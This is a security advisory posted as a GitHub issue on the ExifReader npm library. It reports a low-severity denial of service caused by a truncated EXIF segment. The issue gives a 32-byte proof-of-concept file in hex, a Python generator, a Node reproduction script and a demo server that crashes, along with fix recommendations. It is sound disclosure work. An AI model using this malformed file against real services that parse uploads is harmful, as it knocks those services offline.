Skip to content

ExifReader Truncated EXIF/TIFF DoS #608

@franrojasblaze

Description

@franrojasblaze
Package: exifreader
Ecosystem: npm
Repository: https://github.com/mattiasw/ExifReader
Security Page: https://github.com/mattiasw/ExifReader/security
Issue Tracker: https://github.com/mattiasw/ExifReader/issues
Reported Issue Type: Application-level Denial of Service via uncaught exception
Weaknesses: CWE-20, CWE-248, CWE-755
Severity: Low
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

1. Executive Summary

A malformed JPEG-like file containing a truncated APP1/EXIF segment can trigger an uncaught RangeError: Offset is outside the bounds of the DataView in exifreader during EXIF/TIFF parsing. In applications that parse attacker-controlled images using ExifReader.load() without defensive exception handling, this behavior can crash the current request handler or terminate the Node.js process, resulting in application-level denial of service.

2. Affected Component

The vulnerable behavior is in the EXIF/TIFF parsing path after the library accepts a JPEG/APP1/EXIF structure and proceeds into internal offset-reading logic.

3. Technical Description

The parser accepts a minimal JPEG-like structure containing:

  • Valid JPEG SOI bytes
  • A valid-looking JFIF segment
  • An APP1 marker
  • The Exif\0\0 signature
  • A partial TIFF header beginning with MM

Because the EXIF/TIFF structure is truncated before sufficient offset fields are available, the library reaches an internal code path that attempts an out-of-bounds DataView.getUint32() read. Instead of converting this malformed/truncated condition into a controlled parser error, the exception propagates directly to the caller.

Security impact:
This is not remote code execution and not native memory corruption. However, it is a security-relevant parser robustness flaw with denial-of-service impact in real applications that ingest untrusted images.

4. Minimal Proof of Concept

4.1 Minimal malformed file (32 bytes)

ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48
00 48 00 00 ff e1 00 16 45 78 69 66 00 00 4d 4d

4.2 Python generator for the PoC file

from pathlib import Path

data = bytes.fromhex(
'ffd8ffe000104a464946000101010048'
'00480000ffe100164578696600004d4d'
)

Path('poc-truncated-exif-32b.jpg').write_bytes(data)
print('wrote', len(data), 'bytes')

4.3 Direct reproduction script

const fs = require('fs');
const ExifReader = require('exifreader');

const buf = fs.readFileSync('poc-truncated-exif-32b.jpg');
ExifReader.load(buf);

4.4 Direct reproduction command

node -e "const fs=require('fs'); const ExifReader=require('exifreader'); ExifReader.load(fs.readFileSync('poc-truncated-exif-32b.jpg'))"

5. Application-Level DoS Demonstration

The following minimal HTTP server demonstrates realistic impact. A single request to the endpoint causes the process to crash because the exception is not contained.

5.1 Demo server

const http = require('http');
const fs = require('fs');
const ExifReader = require('exifreader');

http.createServer((req, res) => {
const buf = fs.readFileSync('poc-truncated-exif-32b.jpg');

// Intentionally no try/catch to demonstrate impact
const tags = ExifReader.load(buf);

res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ count: Object.keys(tags).length }));
}).listen(3000, () => console.log('listening on http://127.0.0.1:3000'));

5.2 Run the demo

node app-demo.js

5.3 Query with curl

curl http://127.0.0.1:3000

6. Observed Output

6.1 Reproduction output

RangeError: Offset is outside the bounds of the DataView
    at DataView.prototype.getUint32 (<anonymous>)
    at Object.xt [as getLongAt] (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:40818)
    at Vt (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:44040)
    at /home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:47268
    at Object.read (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:47294)
    at lo (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:105943)
    at so (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:101541)
    at Module.co (/home/kali/Desktop/research/exifreader-research/node_modules/exifreader/dist/exif-reader.js:1:101414)
    at Server.<anonymous> (/home/kali/Desktop/research/exifreader-research/app-demo.js:9:27)
    at Server.emit (node:events:519:28)

Node.js v22.22.0

6.2 Behavior summary

Condition Observed Result
Calling ExifReader.load() directly on the malformed file Uncaught RangeError
Using the malformed file in a minimal Node.js HTTP server without try/catch Server process crashes on request
Basic malformed header corruption tests Many cases correctly rejected as Invalid image format
Targeted truncated EXIF/TIFF structure Internal out-of-bounds offset read exception propagates

7. Root Cause Analysis

The issue appears to occur because the parser treats the JPEG/APP1/EXIF structure as sufficiently valid to enter the TIFF parsing path, but later attempts to read a 32-bit value from the underlying DataView without first ensuring that enough bytes remain. The resulting out-of-bounds access manifests as a JavaScript RangeError.

From the observed stack, the problematic path includes:

DataView.prototype.getUint32
getLongAt
Vt
read
load

8. Security Impact

In many real-world applications, image metadata parsing is performed on user-supplied uploads, attachments, profile photos, CMS media assets, or background processing jobs. If the application does not wrap ExifReader.load() in defensive exception handling, a crafted malformed file can cause:

  • Request failure
  • Worker crash
  • Termination of a Node.js process
  • Repeated denial of service against metadata processing endpoints

9. Expected vs Observed Behavior

Expected Observed
Malformed or truncated EXIF/TIFF structures should be rejected gracefully with a controlled parser error. A low-level RangeError propagates to the caller and can crash the application when uncaught.

10. Recommendations

Library-side recommendations:
  • Validate remaining buffer length before every TIFF/IFD offset read.
  • Guard all offset-based DataView reads with explicit bounds checks.
  • Normalize truncated EXIF/TIFF structures into a controlled, library-specific parser error.
  • Add regression tests for minimal truncated APP1/EXIF payloads.
  • Audit similar offset-reading paths in PNG, WebP, HEIC, AVIF, and TIFF parsing code.
Application-side recommendations:
  • Wrap ExifReader.load() in try/catch when processing untrusted images.
  • Use request isolation or worker isolation for metadata extraction.
  • Reject obviously malformed files before metadata parsing where practical.
  • Apply resource and error handling controls to upload and media-processing endpoints.

11. Suggested Advisory Metadata

Field Value
Affected Product ExifReader
Ecosystem npm
Package Name exifreader
Affected Versions Reproduced on the tested installed version; maintainers should confirm exact affected range
Patched Versions None known at time of testing
Severity Low
Vector String CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses CWE-20, CWE-248, CWE-755

12. Responsible Disclosure Note

This report documents a denial-of-service issue caused by malformed input handling. It does not claim native memory corruption, arbitrary code execution, or privilege escalation. The impact is limited to parser failure and application instability when the exception is not safely handled by the integrator.

13. Maintainer-Facing Short Summary

A malformed JPEG containing a truncated APP1/EXIF segment can trigger an uncaught
RangeError ("Offset is outside the bounds of the DataView") in exifreader during
EXIF/TIFF parsing. A minimal 32-byte PoC reproduces the issue. In applications that
parse attacker-controlled images without defensive exception handling, this can cause
application-level denial of service.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions